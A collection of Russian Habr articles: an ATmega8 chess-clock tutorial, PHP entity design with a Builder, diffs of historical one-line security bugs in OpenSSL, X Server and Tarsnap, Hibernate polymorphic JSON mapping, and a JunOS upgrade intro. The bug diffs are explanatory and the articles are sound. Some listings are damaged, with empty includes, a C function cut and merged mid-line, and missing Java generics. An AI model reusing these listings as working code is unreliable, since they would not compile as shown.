Далее следует настройка двух таймеров, Timer0 и Timer1. Первый мы используем для обновления индикаторов, а второй — для обратного отсчета времени, предварительно настроив его на срабатывание каждую секунду. Подробное описание всех констант и метода настройки таймера на определенноый интервал можно найти в документации к ATmega8.
**Обработка прерываний**
```
ISR (TIMER0_OVF_vect)
{
display();
if (_buzzer > 0)
{
_buzzer--;
if (_buzzer == 0)
sound_off();
}
}
ISR(TIMER1_COMPA_vect)
{
if (ActiveTimer == 1 && Timer1 > 0)
{
Timer1--;
if (Timer1 == 0)
process_timeoff();
}
if (ActiveTimer == 2 && Timer2 > 0)
{
Timer2--;
if (Timer2 == 0)
process_timeoff();
}
}
```
При срабатывании таймера управление передается соответствующему обработчику прерывания. В нашем случае это обработчик TIMER0\_OVF\_vect, который вызывает процедуру вывода времени на индикаторы, и TIMER1\_COMPA\_vect, который обрабатывает обратный отсчет.
**Вывод на индикаторы**
```
void display()
{
display_number((Timer1/60)/10, 0b00001000);
_delay_ms(0.25);
display_number((Timer1/60)%10, 0b00000100);
_delay_ms(0.25);
display_number((Timer1%60)/10, 0b00000010);
_delay_ms(0.25);
display_number((Timer1%60)%10, 0b00000001);
_delay_ms(0.25);
display_number((Timer2/60)/10, 0b10000000);
_delay_ms(0.25);
display_number((Timer2/60)%10, 0b01000000);
_delay_ms(0.25);
display_number((Timer2%60)/10, 0b00100000);
_delay_ms(0.25);
display_number((Timer2%60)%10, 0b00010000);
_delay_ms(0.25);
PORTD = 0;
}
void display_number(int number, int mask)
{
PORTB = number_mask(number);
PORTD = mask;
}
```
Функция `display` использует метод динамической индикации. Дело в том, что каждый отдельно взятый индикатор имеет 9 контактов (7 для управления сегментами, 1 для точки и 1 для питания). Для управления 4 цифрами понадобилось бы 36 контактов. Слишком расточительно. Поэтому вывод разрядов на индикатор с несколькими цифрами организован по следующему принципу:
Напряжение поочередно подается на каждый из общих контактов, что позволяет высветить на соответствующем индикаторе нужную цифру при помощи одних и тех же 8 управляющих контактов. При достаточно высокой частоте вывода это выглядит для глаза как статическая картинка. Именно поэтому все 8 питающих контактов обоих индикаторов на схеме подключены к 8 выходам порта D, а 16 управляющих сегментами контактов соединены попарно и подключены к 8 выходам порта B. Таким образом, функция display с задержкой в 0.25 мс попеременно выводит нужную цифру на каждый из индикаторов. Под конец отключаются все выходы, подающие напряжение на индикаторы (команда `PORTD = 0;`). Если этого не сделать, то последняя выводимая цифра будет продолжать гореть до следующего вызова функции display, что приведет к ее более яркому свечению по сравнению с остальными.
**Обработка нажатий**
```
void handle_buttons()
{
handle_button(KEY_SETUP);
handle_button(KEY_RESET);
handle_button(KEY_PAUSE);
handle_button(KEY_PLAYER1);
handle_button(KEY_PLAYER2);
}
void handle_button(int key)
{
int bit;
switch (key)
{
case KEY_SETUP: bit = SETUP_BIT; break;
case KEY_RESET: bit = RESET_BIT; break;
case KEY_PAUSE: bit = PAUSE_BIT; break;
case KEY_PLAYER1: bit = PLAYER1_BIT; break;
case KEY_PLAYER2: bit = PLAYER2_BIT; break;
default: return;
}
if (bit_is_clear(BUTTON_PIN, bit))
{
if (_pressed == 0)
{
_delay_ms(DEBOUNCE_TIME);
if (bit_is_clear(BUTTON_PIN, bit))
{
_pressed |= key;
// key action
switch (key)
{
case KEY_SETUP: process_setup(); break;
case KEY_RESET: process_reset(); break;
case KEY_PAUSE: process_pause(); break;
case KEY_PLAYER1: process_player1(); break;
case KEY_PLAYER2: process_player2(); break;
}
sound_on(15);
}
}
}
else
{
_pressed &= ~key;
}
}
```
Эта функция по очереди опрашивает все 5 кнопок и обрабатывает нажатие, если таковое случилось. Нажатие регистрируется проверкой `bit_is_clear(BUTTON_PIN, bit)`, т.е. кнопка нажата в том случае, если соответствующий ей вход соединен с землей, что и произойдет, согласно схеме, при нажатии кнопки. Задержка длительностью `DEBOUNCE_TIME` и повторная проверка нужна во избежание множественных лишних срабатываний из-за дребезга контактов. Сохранение статуса нажатия в соответствующих битах переменной `_pressed` используется для исключения повторного срабатывания при длительном нажатии на кнопку.
Функции обработки нажатий достаточно тривиальны и полагаю, что в дополнительных комментариях не нуждаются.
**Полный текст программы**
```
#define F_CPU 4000000UL
#include
#include
#include
#define DEBOUNCE\_TIME 20
#define BUTTON\_PIN PINC
#define SETUP\_BIT PC0
#define RESET\_BIT PC1
#define PAUSE\_BIT PC2
#define PLAYER1\_BIT PC3
#define PLAYER2\_BIT PC4
#define KEY\_SETUP 0b00000001
#define KEY\_RESET 0b00000010
#define KEY\_PAUSE 0b00000100
#define KEY\_PLAYER1 0b00001000
#define KEY\_PLAYER2 0b00010000
volatile int ActiveTimer = 0;
volatile int Timer1 = 0;
volatile int Timer2 = 0;
volatile int \_buzzer = 0;
volatile int \_pressed = 0;
// function declarations
void init\_io();
void init\_data();
int number\_mask(int num);
void handle\_buttons();
void handle\_button(int key);
void process\_setup();
void process\_reset();
void process\_pause();
void process\_timeoff();
void process\_player1();
void process\_player2();
void display();
void display\_number(int mask, int number);
void sound\_on(int interval);
void sound\_off();
// interrupts
ISR (TIMER0\_OVF\_vect)
{
display();
if (\_buzzer > 0)
{
\_buzzer--;
if (\_buzzer == 0)
sound\_off();
}
}
ISR(TIMER1\_COMPA\_vect)
{
if (ActiveTimer == 1 && Timer1 > 0)
{
Timer1--;
if (Timer1 == 0)
process\_timeoff();
}
if (ActiveTimer == 2 && Timer2 > 0)
{
Timer2--;
if (Timer2 == 0)
process\_timeoff();
}
}
int main(void)
{
init\_io();
init\_data();
sound\_off();
sei();
while(1)
{
handle\_buttons();
}
return 0;
}
void init\_io()
{
// set output
DDRB = 0xFF;
DDRD = 0xFF;
// set input
DDRC = 0b11100000;
// pull-up resistors
PORTC |= 0b00011111;
// timer interrupts
TIMSK = (1< 5940 || Timer2 > 5940)
{
Timer1 = 0;
Timer2 = 0;
}
}
void process\_reset()
{
init\_data();
}
void process\_timeoff()
{
init\_data();
sound\_on(30);
}
void process\_pause()
{
ActiveTimer = 0;
}
void process\_player1()
{
ActiveTimer = 2;
}
void process\_player2()
{
ActiveTimer = 1;
}
void handle\_button(int key)
{
int bit;
switch (key)
{
case KEY\_SETUP: bit = SETUP\_BIT; break;
case KEY\_RESET: bit = RESET\_BIT; break;
case KEY\_PAUSE: bit = PAUSE\_BIT; break;
case KEY\_PLAYER1: bit = PLAYER1\_BIT; break;
case KEY\_PLAYER2: bit = PLAYER2\_BIT; break;
default: return;
}
if (bit\_is\_clear(BUTTON\_PIN, bit))
{
if (\_pressed == 0)
{
\_delay\_ms(DEBOUNCE\_TIME);
if (bit\_is\_clear(BUTTON\_PIN, bit))
{
\_pressed |= key;
// key action
switch (key)
{
case KEY\_SETUP: process\_setup(); break;
case KEY\_RESET: process\_reset(); break;
case KEY\_PAUSE: process\_pause(); break;
case KEY\_PLAYER1: process\_player1(); break;
case KEY\_PLAYER2: process\_player2(); break;
}
sound\_on(15);
}
}
}
else
{
\_pressed &= ~key;
}
}
void handle\_buttons()
{
handle\_button(KEY\_SETUP);
handle\_button(KEY\_RESET);
handle\_button(KEY\_PAUSE);
handle\_button(KEY\_PLAYER1);
handle\_button(KEY\_PLAYER2);
}
void display()
{
display\_number((Timer1/60)/10, 0b00001000);
\_delay\_ms(0.25);
display\_number((Timer1/60)%10, 0b00000100);
\_delay\_ms(0.25);
display\_number((Timer1%60)/10, 0b00000010);
\_delay\_ms(0.25);
display\_number((Timer1%60)%10, 0b00000001);
\_delay\_ms(0.25);
display\_number((Timer2/60)/10, 0b10000000);
\_delay\_ms(0.25);
display\_number((Timer2/60)%10, 0b01000000);
\_delay\_ms(0.25);
display\_number((Timer2%60)/10, 0b00100000);
\_delay\_ms(0.25);
display\_number((Timer2%60)%10, 0b00010000);
\_delay\_ms(0.25);
PORTD = 0;
}
void display\_number(int number, int mask)
{
PORTB = number\_mask(number);
PORTD = mask;
}
void sound\_on(int interval)
{
\_buzzer = interval;
// put buzzer pin high
PORTC |= 0b00100000;
}
void sound\_off()
{
// put buzzer pin low
PORTC &= ~0b00100000;
}
```
Прототип был собран на макетной плате:
После тестирования прототипа пришло время все это добро разместить в корпусе, обеспечить питание и т.д.
Ниже показан окончательный вид устройства. Часы питаются от 9-вольтовой батарейки типа “Крона”. Потребление тока — 55 мА.
### Заключение
Потратив $20-25 на оборудование и пару вечеров на начальное ознакомление с архитектурой микроконтроллера и основными принципами работы, можно начать делать интересные DIY проекты. Статья посвящается тем, кто, как и я в свое время, думает, что начать программировать микроконтроллеры — это сложно, долго или дорого. Поверьте, начать намного проще, чем может показаться. Если есть интерес и желание — пробуйте, не пожалете!
Удачного всем программирования!
P.S. Ну и напоследок, небольшая видео-демонстрация прототипа: | https://habr.com/ru/post/205972/ | null | ru | null |
# Введение в проектирование сущностей, проблемы создания объектов
При моделировании такого понятия предметно-ориентированного проектирования как сущность могут возникнуть некоторые сложности, обусловленные бизнес-требованиями или технической частью. В частности, иногда возникает сложность с созданием объекта-сущности.
В данной статье описываются две такие проблемы, и рассматривается способ их решения. Так же статья подойдет как введение в проектирование сущностей. Для понимания материала понадобится базовое представление о предметно-ориентированном проектировании.
Итак, мы изучили предметную область, сформировали единый язык, выделили ограниченные контексты и определились с требованиями [2]. Всё это выходит за рамки данной статьи, тут мы попробуем решить конкретные узкие проблемы:
1. Создание и обеспечение консистентности сложных объектов-сущностей.
2. Создание объектов-сущностей с генерацией идентификатора по автоинкрементному полю базы данных.
Введение
--------
У нас есть клиент, который должен быть смоделирован как сущность (Entity) [2]. С точки зрения бизнеса у каждого клиента обязательно есть:
* имя или наименование;
* организационная форма (физ. лицо, ИП, ООО, АО и т.д.);
* главный менеджер (один из менеджеров, закрепляется за клиентом);
* информация о фактическом адресе;
* информация о юридическом адресе.
А так же может быть всевозможная дополнительная информация.
В простом случае класс, реализующий моделируемую сущность, может выглядеть следующим образом.
```
namespace Domain;
final class Client
{
public function getId(): int;
public function setId($id): void;
public function setCorporateForm($corporateForm): void;
public function setName($name): void;
public function setGeneralManager(Manager $manager): void;
public function setCountry($country): void;
public function setCity($city): void;
public function setStreet($street): void;
public function setSubway($subway): void;
}
```
Целый ряд свойств мы опустили, для упрощения примера, реальный класс может быть значительно больше.
Полученная модель анемичная, перегружена ничего не значащими сеттерами вместо методов описывающих поведение соответствующее бизнес-требованиям. В любой момент, при таком подходе, можно создать объект в неконсистентном состоянии или нарушить бизнес-логику, установив один из параметров например так.
```
$client = new Client();
// В данный момент клиент у нас уже находится в не консистентном состоянии
// Если мы хотим запросить его идентификатор, то получим ошибку, т.к. он ещё не установлен
$client->getId();
// Или мы можем сохранить (попытаться) не валидного клиента, у которого не установлены обязательные свойства
$repository->save($client);
```
Создание и обеспечение консистентности сложных объектов-сущностей.
------------------------------------------------------------------
Для начала попробуем решить проблему консистентности. Для этого уберем из класса сеттеры, а все обязательные параметры будем запрашивать в конструкторе [4]. Таким образом, объект будет всегда валиден, может использоваться сразу после создания и обеспечивается полноценная инкапсуляция предотвращающая возможность приведения клиента в неконсистентное состояние. Теперь наш класс выглядит следующим образом.
```
namespace Domain;
final class Client
{
public function __construct(
$id,
$corporateForm,
$name,
$generalManager,
$country,
$city,
$street,
$subway = null
);
public function getId(): int;
}
```
Проблему мы решили, но получилось не слишком изящно. 8 параметров у конструктора, и это не предел. Конечно, далеко не каждая сущность требует так много обязательных параметров, это, пожалуй, не совсем рядовая ситуация, но и не необычная.
Что можно с этим сделать? Простое и очевидное решение — сгруппировать логически связанные параметры в объектах-значениях (Value Object) [3].
```
namespace Domain;
final class Address
{
public function __construct($country, $city, $street, $subway = null);
}
```
```
namespace Domain;
final class Client
{
public function __construct(
int $id,
string $name,
Enum $corporateForm,
Manager $generalManager,
Address $address
);
public function getId(): int;
}
```
Выглядит гораздо лучше, но параметров всё ещё довольно много, особенно это не удобно, если часть из них скалярные. Решение — шаблон Строитель (Builder) [5].
```
namespace Application;
interface ClientBuilder
{
public function buildClient(): Client;
public function setId($id): ClientBuilder;
public function setCorporateForm($corporateForm): ClientBuilder;
public function setName($name): ClientBuilder;
public function setGeneralManager(Manager $generalManager): ClientBuilder;
public function setAddress(Address $address): ClientBuilder;
}
```
```
$client = $builder->setId($id)
->setName($name)
->setGeneralManagerId($generalManager)
->setCorporateForm($corporateForm)
->setAddress($address)
->buildClient();
```
Таким образом, моделируемая сущность всегда находится в консистентном состоянии и при этом может быть гибко и понятно построена, не зависимо от сложности создаваемого объекта и количества параметров.
Создание объектов-сущностей с генерацией идентификатора по автоинкрементному полю базы данных.
----------------------------------------------------------------------------------------------
У проектируемого класса обязательно должен быть уникальный идентификатор, т.к. основной отличительной чертой сущностей является индивидуальность. Объект может значительно изменяться с течением времени, так что ни одно из его свойств не будет равным тому, что было вначале. В то же время все или большинство свойств объекта могут совпадать со свойствами другого объекта, но это будут разные объекты. Именно уникальный идентификатор дает возможность различать каждый объект не зависимо от его текущего состояния [1].
Существуют различные способы формирования идентификаторов, такие как пользовательский ввод, генерация в приложении по какому-либо алгоритму, может генерироваться базой данных.
Cгенерировать, например, UUID или запросить у базы данных очередное значение последовательности не составляет никаких трудностей. Но иногда возникает необходимость работать с уже существующей структурой БД, в которой таблица хранящая соответствующие данные имеет для идентификатора автоинкрементное поле.
В таком случае крайне затруднительно и ненадежно получать очередной уникальный идентификатор без сохранения сущности, а значит невозможно создать объект в полностью консистентном состоянии.
И снова нам поможет в этом шаблон Строитель, который мы можем реализовать следующим образом.
```
namespace Infrastructure;
final class MySqlClientBuilder implements ClientBuilder
{
private $connection;
public function __construct(Connection $connection);
public function buildClient()
{
$this->connection
->insert('clients_table', [
$this->name,
$this->corporateForm,
$this->generalManager->getId(),
$this->address
]);
$id = $this->connection->lastInsertId();
return new Client(
$id,
$this->name,
$this->corporateForm,
$this->generalManager,
$this->address
);
}
}
```
Таким образом мы сначала добавляем соответствующую запись в базу данных, после чего получаем её идентификатор и создаем объект. Клиенту об этом знать не обязательно и при изменении способа хранения или генерации идентификаторов вам понадобится только заменить реализацию Строителя в вашем контейнере зависимостей.
```
$builder = $container->get(ClientBuilder::class);
$client = $builder->setId($id)
->setName($name)
->setGeneralManagerId($generalManager)
->setCorporateForm($corporateForm)
->setAddress($address)
->buildClient();
$repository->save($client);
$client->getId();
```
Благодарю за внимание!
#### P.S.:
*Прошу не судить слишком строго, «чукча не писатель, чукча читатель». Для более опытных разработчиков описываемые вещи могут показаться банальными, я же к описанному пришел не сразу, но когда применил описанный подход, он зарекомендовал себя отлично.
Опыт разработки у меня относительно не большой — четыре года, DDD применял пока только на одном проекте.
Буду благодарен за отзывы и конструктивные замечания.*
#### Ссылки:
1. Эванс Э., «Предметно-ориентированное проектирование (DDD). Структуризация сложных программных систем.»
2. Вернон В., «Реализация методов предметно-ориентированного проектирования.»
3. М. Фаулер, [Value Object](https://martinfowler.com/bliki/ValueObject.html)
4. М. Фаулер, [Constructor Initialization](https://www.martinfowler.com/bliki/ConstructorInitialization.html)
5. Э. Гамма, Р. Хелм, Р. Джонсон, Д. Влиссидс, «Приёмы объектно-ориентированного проектирования. Паттерны проектирования.» | https://habr.com/ru/post/321340/ | null | ru | null |
# История однострочных багов
Компания Apple недавно допустила [крупную ошибку](http://habrahabr.ru/post/213525/), забыв удалить лишнюю строчку с оператором безусловного перехода goto посередине функции SSLVerifySignedServerKeyExchange для проверки серверной подписи при установке SSL-соединения. В результате, функция успешно завершала работу, независимо от результата проверки подписи.
Однако, это не первый случай в истории, когда критическая ошибка объясняется единственной строчкой кода. Вот ещё [несколько таких примеров](http://www.tedunangst.com/flak/post/a-brief-history-of-one-line-fixes).
### X Server
В 2006 году было обнаружено, что X Server проверяет рутовые права у пользователя, но при этом разработчики в реальности [забыли вызвать соответствующую функцию](http://www.x.org/releases/X11R7.0/patches/xorg-server-1.0.1-geteuid.diff).
```
--- hw/xfree86/common/xf86Init.c
+++ hw/xfree86/common/xf86Init.c
@@ -1677,7 +1677,7 @@
}
if (!strcmp(argv[i], "-configure"))
{
- if (getuid() != 0 && geteuid == 0) {
+ if (getuid() != 0 && geteuid() == 0) {
ErrorF("The '-configure' option can only be used by root.\n");
exit(1);
}
```
### Debian OpenSSL
В 2008 году Debian [признала](http://www.debian.org/security/2008/dsa-1571), что генератор псевдослучайных чисел в её «фирменной» реализации OpenSSL от 2006 года на самом деле генерирует предсказуемые числа.
```
--- openssl-a/md_rand.c
+++ openssl-b/md_rand.c
@@ -271,10 +271,7 @@
else
MD_Update(&m,&(state[st_idx]),j);
-/*
- * Don't add uninitialised data.
MD_Update(&m,buf,j);
-*/
MD_Update(&m,(unsigned char *)&(md_c[0]),sizeof(md_c));
MD_Final(&m,local_md);
md_c[1]++;
```
Причина в том, что важную строчку включили в комментарий. Совершенно непонятно, как такой заметный баг попал в финальный релиз, как будто никто вообще не проверял код. Кстати, многие тогда заподозрили Debian в том, что она «поломала» ГПСЧ не случайно.
### Стандартный OpenSSL
[Ещё один баг в OpenSSL](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5077), и опять из 2008 года. OpenSSL 0.9.8i и более ранние версии «некорректно проверяли значение, которое возвращает функция EVP\_VerifyFinal, что позволяло злоумышленникам обходить валидацию сертификата с помощью поддельных подписей SSL/TLS для ключей DSA и ECDSA».
```
--- lib/libssl/src/ssl/s3_srvr.c
+++ lib/libssl/src/ssl/s3_srvr.c
@@ -2009,7 +2009,7 @@ static int ssl3_get_client_certificate(S
else
{
i=ssl_verify_cert_chain(s,sk);
- if (!i)
+ if (i <= 0)
{
al=ssl_verify_alarm_type(s->verify_result);
SSLerr(SSL_F_SSL3_GET_CLIENT_CERTIFICATE,SSL_R_NO_CERTIFICATE_RETURNED);
```
### Android
Посмотрите на [патч для memset.c](https://code.google.com/p/android-source-browsing/source/detail?spec=svn.platform--bootable--bootloader--legacy.734756ca3968b54e32acab867a05b10fc5e13d07&r=734756ca3968b54e32acab867a05b10fc5e13d07&repo=platform--bootable--bootloader--legacy) от 11 мая 2010 года.
```
--- libc-a/memset.c
+++ libc-b/memset.c
@@ -1,6 +1,6 @@
void *memset(void *_p, unsigned v, unsigned count)
{
unsigned char *p = _p;
- while(count-- > 0) *p++ = 0;
+ while(count-- > 0) *p++ = v;
return _p;
}
```
Вместо корректного параметра в память записывается нуль. То есть один из передаваемых в функцию параметров вообще не используется.
### Tarsnap
Автор программы Tarsnap, онлайн-сервиса защищённого хранения резервных копий на Amazon S3, в 2011 году [сообщил о баге](http://www.daemonology.net/blog/2011-01-18-tarsnap-critical-security-bug.html) в процедуре генерации случайного значения (nonce) при шифровании данных.
```
--- tarsnap-autoconf-1.0.27/lib/crypto/crypto_file.c
+++ tarsnap-autoconf-1.0.28/lib/crypto/crypto_file.c
@@ -108,7 +108,7 @@
/* Encrypt the data. */
if ((stream =
- crypto_aesctr_init(&encr_aes->key, encr_aes->nonce)) == NULL)
+ crypto_aesctr_init(&encr_aes->key, encr_aes->nonce++)) == NULL)
goto err0;
crypto_aesctr_stream(stream, buf, filebuf + CRYPTO_FILE_HLEN, len);
crypto_aesctr_free(stream);
```
Новое случайное значение должно было генерироваться для каждых 16 байт шифруемых данных, но в реальности оно вообще не менялось.
Так что не только Apple допускает ошибки. | https://habr.com/ru/post/214557/ | null | ru | null |
# Как сделать маппинг полиморфных JSON-объектов с помощью JPA и Hibernate
**Введение**
В этой статье я собираюсь показать вам, как можно выполнять маппинг полиморфных объектов JSON используя JPA и Hibernate.
Поскольку Hibernate не поддерживает JSON нативно, то для достижения этой цели я буду использовать библиотеку [Hibernate Types](https://github.com/vladmihalcea/hibernate-types).
**Полиморфные типы**
Предположим, что у нас есть следующая иерархия классов `DiscountCoupon`:
`DiscountCoupon` является базовым для конкретных классов `AmountDiscountCoupon` и `PercentageDiscountCoupon`, которые определяют два различных способа скидки на цену данной сущности Book.
Сущность `Book` отображается следующим образом:
```
@Entity(name = "Book")
@Table(name = "book")
public class Book {
@Id
@GeneratedValue
private Long id;
@NaturalId
@Column(length = 15)
private String isbn;
@Column(columnDefinition = "jsonb")
private List coupons = new ArrayList<>();
}
```
Заметим, что нам необходимо сделать маппинг (списка) `List` купонов со столбцом JSON в базе данных, и для этого нужен пользовательский тип, который может обрабатывать полиморфные объекты.
`JsonType` по умолчанию отлично работает с конкретными классами, но при использовании дженерика `List` фактический тип теряется, если мы не передадим его в базу данных во время записи.
**Маппинг полиморфных объектов JSON с Jackson DefaultTyping и Hibernate**
Одним из решений является определение `JsonType`, который позволяет нам работать с классами, которые не имеют явного конкретного типа, как в случае с абстрактными классами или интерфейсами.
В нашем случае `DiscountCoupon` является абстрактным классом, следовательно, он не может быть инстанцирован Jackson, поэтому нам необходимо знать точный тип класса ссылки на объект `DiscountCoupon`, который мы должны инстанцировать при загрузке JSON-колонки из базы данных.
По этой причине мы можем использовать следующий пользовательский JsonType:
```
ObjectMapper objectMapper = new ObjectMapperWrapper().getObjectMapper();
properties.put(
"hibernate.type_contributors",
(TypeContributorList) () -> Collections.singletonList(
(typeContributions, serviceRegistry) ->
typeContributions.contributeType(
new JsonType(
objectMapper.activateDefaultTypingAsProperty(
objectMapper.getPolymorphicTypeValidator(),
ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE,
"type"
),
ArrayList.class
) {
@Override
public String getName() {
return "json-polymorphic-list";
}
}
)
)
);
```
`json-polymorphic-list` кастомизирует [дженерик JsonType](https://vladmihalcea.com/how-to-map-json-objects-using-generic-hibernate-types/) и предоставляет пользовательский Jackson `ObjectMapper`, который использует стратегию `DefaultTyping.OBJECT_AND_NON_CONCRETE`.
Когда `json-polymorphic-list` зарегистрирован, нам нужно просто добавить его в свойство coupons:
```
@Type(type = "json-polymorphic-list")
@Column(columnDefinition = "jsonb")
private List coupons = new ArrayList<>();
```
Теперь, при персистировании сущности Book:
```
entityManager.persist(
new Book()
.setIsbn("978-9730228236")
.addCoupon(
new AmountDiscountCoupon("PPP")
.setAmount(new BigDecimal("4.99"))
)
.addCoupon(
new PercentageDiscountCoupon("Black Friday")
.setPercentage(BigDecimal.valueOf(0.02))
)
);
```
Более подробно о том, как можно настроить Jackson `ObjectMapper`, который используется в проекте Hibernate Types, читайте в [этой статье](https://vladmihalcea.com/hibernate-types-customize-jackson-objectmapper/).
Hibernate генерирует следующие операторы SQL `INSERT`:
```
INSERT INTO book (
coupons,
isbn,
id
)
VALUES (
[
{
"type":"com.vladmihalcea.hibernate.type.json.polymorphic.AmountDiscountCoupon",
"name":"PPP",
"amount":4.99
},
{
"type":"com.vladmihalcea.hibernate.type.json.polymorphic.PercentageDiscountCoupon",
"name":"Black Friday",
"percentage":0.02
}
],
978-9730228236,
1
)
```
Обратите внимание, что Jackson вставил свойство `type` в объекты `DiscountCoupon` JSON. Атрибут `type` будет использоваться Jackson при получении сущности `Book`, поскольку базовый JSON-объект должен быть заполнен соответствующим типом подкласса `DiscountCoupon`.
При загрузке сущности `Book` мы видим, что она загружает объекты `DiscountCoupon` должным образом:
```
Book book = entityManager.unwrap(Session.class)
.bySimpleNaturalId(Book.class)
.load("978-9730228236");
Map topics = book.getCoupons()
.stream()
.collect(
Collectors.toMap(
DiscountCoupon::getName,
Function.identity()
)
);
assertEquals(2, topics.size());
AmountDiscountCoupon amountDiscountCoupon =
(AmountDiscountCoupon) topics.get("PPP");
assertEquals(
new BigDecimal("4.99"),
amountDiscountCoupon.getAmount()
);
PercentageDiscountCoupon percentageDiscountCoupon =
(PercentageDiscountCoupon) topics.get("Black Friday");
assertEquals(
BigDecimal.valueOf(0.02),
percentageDiscountCoupon.getPercentage()
);
```
**Маппинг полиморфных JSON-объектов с помощью Jackson JsonTypeInfo**
Другой подход заключается в использовании Jackson `@JsonTypeInfo` для определения свойства дискриминатора, которое Jackson может использовать при восстановлении Java-объекта из его базового JSON-значения.
Для этого нам нужно определить свойство `getType` в `DiscountCoupon` и обеспечить маппинг между значениями свойства `type` и связанными классами `DiscountCoupon` с помощью аннотации `@JsonSubTypes`:
```
@JsonTypeInfo(
use = JsonTypeInfo.Id.NAME,
include = JsonTypeInfo.As.PROPERTY,
property = "type"
)
@JsonSubTypes({
@JsonSubTypes.Type(
name = "discount.coupon.amount",
value = AmountDiscountCoupon.class
),
@JsonSubTypes.Type(
name = "discount.coupon.percentage",
value = PercentageDiscountCoupon.class
),
})
public abstract class DiscountCoupon implements Serializable {
private String name;
public DiscountCoupon() {
}
public DiscountCoupon(String name) {
this.name = name;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
public abstract String getType();
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (!(o instanceof DiscountCoupon)) return false;
DiscountCoupon that = (DiscountCoupon) o;
return Objects.equals(getName(), that.getName());
}
@Override
public int hashCode() {
return Objects.hash(getName());
}
}
```
Методы `equals` и `hashCode` необходимы [механизму dirty checking Hibernate](https://vladmihalcea.com/the-anatomy-of-hibernate-dirty-checking/), чтобы узнать, когда вы изменяете купоны, и запустить инструкцию UPDATE.
`AmountDiscountCoupon` имплементирует метод `getType` и определяет то же значение дискриминатора, что и `DiscountCoupon`, отображаемое с помощью аннотации `@JsonSubTypes.Type`.
```
public class AmountDiscountCoupon extends DiscountCoupon {
public static final String DISCRIMINATOR = "discount.coupon.amount";
private BigDecimal amount;
public AmountDiscountCoupon() {
}
public AmountDiscountCoupon(String name) {
super(name);
}
public BigDecimal getAmount() {
return amount;
}
public AmountDiscountCoupon setAmount(BigDecimal amount) {
this.amount = amount;
return this;
}
@Override
public String getType() {
return DISCRIMINATOR;
}
}
```
`PercentageDiscountCoupon` также имплементирует метод `getType` и определяет то же значение дискриминатора, которое было использовано связанной аннотацией `@JsonSubTypes.Type` в базовом классе `DiscountCoupon`:
```
public class PercentageDiscountCoupon extends DiscountCoupon {
public static final String DISCRIMINATOR = "discount.coupon.percentage";
private BigDecimal percentage;
public PercentageDiscountCoupon() {
}
public PercentageDiscountCoupon(String name) {
super(name);
}
public BigDecimal getPercentage() {
return percentage;
}
public PercentageDiscountCoupon setPercentage(BigDecimal amount) {
this.percentage = amount;
return this;
}
@Override
public String getType() {
return DISCRIMINATOR;
}
}
```
Теперь сущность Book может использовать дженерик `JsonType`, поскольку Java-объекты `DiscountCoupun` могут быть инстанцированы Jackson с помощью доступного маппинга `@JsonTypeInfo`:
```
@Entity(name = "Book")
@Table(name = "book")
@TypeDef(name = "json", typeClass = JsonType.class)
public static class Book {
@Id
@GeneratedValue
private Long id;
@NaturalId
@Column(length = 15)
private String isbn;
@Type(type = "json")
@Column(columnDefinition = "jsonb")
private List coupons = new ArrayList<>();
}
```
А при сохранении той же сущности Book Hibernate будет генерировать следующий SQL-запрос `INSERT`:
```
INSERT INTO book (
coupons,
isbn,
id
)
VALUES (
[
{
"name":"PPP",
"amount":4.99,
"type":"discount.coupon.amount"
},
{
"name":"Black Friday",
"percentage":0.02,
"type":"discount.coupon.percentage"
}
],
978-9730228236,
1
)
```
Круто, правда?
**Заключение**
Маппинг полиморфных JSON-объектов достаточно прост с проектом Hibernate Types. Поскольку вы способны кастомизировать Jackson `ObjectMapper` так, как вам захочется, с помощью этого подхода можно решать самые разные задачи.
---
> Материал подготовлен в рамках курса [«Java Developer. Professional»](https://otus.pw/l4VB/).
>
> Всех желающих приглашаем на бесплатное demo-занятие **«Пример реактивного приложения на Java Spring Boot».** Продолжаем разрабатывать систему получения курса валюты. Разберемся с тем, что такое реактивное программирование и переведем один из микросервисов на реактивные рельсы. [**>> РЕГИСТРАЦИЯ**](https://otus.pw/T15r/)
>
> | https://habr.com/ru/post/593941/ | null | ru | null |
# Обновление JunOS на коммутаторах EX4500 в VirtualChassis — что может пойти не так? Часть 1
Поискав на Хабре, не нашел статью, освещающей данную тему в необходимом объеме, отсюда данный пост. Будет две части, так как для пробной статьи объема многовато.
Так как я здесь новичок, разрешите представиться: меня зовут Юра и на данный момент я работаю сетевым инженером в компании сервис-провайдере. За плечами преподавание в Сетевой Академии Cisco, достаточно плотное знакомство с нижней/средней линейкой их устройств и последние четыре года – с устройствами Juniper. Долгое время не мог собраться с мыслями по поводу данного поста, но в итоге жажда эпистолярного признания и желание помочь коллегам взяли вверх.
В качестве вступления могу сказать, что принцип обновления и приведенные выкладки справедливы для большинства (если не всех) устройств Juniper. В моем случае это два коммутатора EX4500, работающих в VirtualChassis (виртуальное шасси/VC). Сама технология VirtualChassis мною рассмотрена не будет, так как это раздует пост до неприличных размеров. Кроме этого, тема была рассмотрена ранее на Хабре [здесь](https://habrahabr.ru/company/muk/blog/283546/). Отмечу лишь, что она отдаленно напоминает VSS от Cisco: несколько физических устройств объединяются в одно логическое с общей панелью управления, конфигурацией, протоколами, таблицами и т.д. Не буду сильно занудствовать и размышлять о достоинствах/недостатках, реализации и прочих внутренних тонкостях – приведенное сравнение здесь больше как опорная метка, различия между VC и VSS большие, равно как и между Cisco IOS и JunOS.
Мой пациент – два физических коммутатора EX4500, объединенные в упомянутый VC (то есть, одно логическое устройство) и стоящие в ядре сети. Выше в сети стоят два независимых BGP маршрутизатора, каждый из которых подключен к своему физическому EX4500 («member» в виртуальном шасси) одним линком и высылает дефолтный маршрут, суммируя Full View таблицу. Ниже в сети – парк серверов с виртуалками и физическими серверами, которые используют VC как шлюз по-умолчанию. Исходная версия JunOS 11.1R3.5, аптайм – с установки, около 800 дней.
